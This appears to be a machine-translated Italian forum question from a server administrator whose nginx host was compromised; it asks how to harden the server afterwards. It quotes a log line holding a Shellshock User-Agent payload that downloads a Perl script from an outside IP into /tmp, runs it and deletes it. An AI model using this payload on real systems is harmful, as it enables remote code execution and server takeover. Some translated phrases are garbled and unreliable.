Qualche giorno fa, qualcuno ha provato una serie di richieste sulla nostra istanza di nginx. Tutto fallito tranne uno.
54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"
Questo ha ottenuto un HTTP 200 da nginx e in effetti un b
eseguibile è stato creato in /tmp/
(c'erano anche alcuni altri eseguibili con nomi strani e inaspettati). Non solo. Poco dopo, il traffico di rete sui nostri server è aumentato e sono state misurate più di 500 date.
Tutto fatto. Nessun effetto sul latte versato. Abbiamo ripristinato il server.
Abbiamo (cosa crediamo) pratiche ragionevoli per quanto riguarda i server: aggiorniamo i distributori di prodotti giornalieri, teniamo d'occhio i log, abbiamo toccato configs per iptables, ssh e simili. Ma nginx (bash?) Ci è stato maleducato, non avrebbe dovuto permetterlo.
Ad ogni modo, nel resettare il server, questa volta abbiamo eliminato curl e wget. È di qualche aiuto (gli hacker possono usare librerie intrinseche come urllib per python)?
È anche possibile bloccare il download di file arbitrari, soprattutto dato che molti vettori di attacco implicano il download di script remoti e l'esecuzione locale? Sarà di qualche aiuto?
Che altro possiamo fare per proteggerci, a maggior ragione dopo che l'attaccante sa già che ha pegno l'indirizzo IP una volta, sicuramente dovrebbe venire di nuovo.
La data e l'ora nel registro sono state deliberatamente ridotte